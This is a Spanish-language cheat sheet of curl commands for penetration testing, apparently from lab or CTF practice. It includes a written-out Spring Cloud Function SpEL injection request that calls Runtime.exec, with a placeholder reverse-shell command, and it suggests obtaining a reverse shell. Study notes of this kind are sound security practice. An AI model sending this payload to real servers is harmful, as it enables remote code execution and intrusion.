nos permite hace una peticion http a una direccion por ejemplo curl -s -X GET "http://10.10.11.204:8080/show_image?img=test.png" | jq

  • jq: es para mostrar en caso de que sea JSON y se vea mas bonito curl -s -X POST "http://ip/" -H 'cabezeras:contenido_cab' -d 'data=data'
  • para hacer envíos de datos por lo cual si hay ejecucion remota de comandos podemos mandarnos una revershell, no obstante es mejor primero crear un archivo con el script y luego ejectarlo curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("Comando para la revershell")' -d '.'

  • -v: Vale para ver informacion del servido
  • -H: mandar cabezeras ej: -H 'cookie:adsfasdf'
  • -d: para mandar contenido “data” ej: -d 'name=data'
  • —cookie: permite agregar la cookie de sesion ej: --cookie "asfdasdfa"
  • -X method: expecifica el metodo que va a usar “GET, POST,PUT”
  • -G --data-urlencode "lo que quieras meter en la url y urlencodeado" -G en curl es utilizado para enviar una solicitud GET con parámetros en la cadena de consulta, mas info 19. Abuso de subidas de archivos Ataque_56

Autenticarse

si la web tiene credenciales podemos hacerlo asi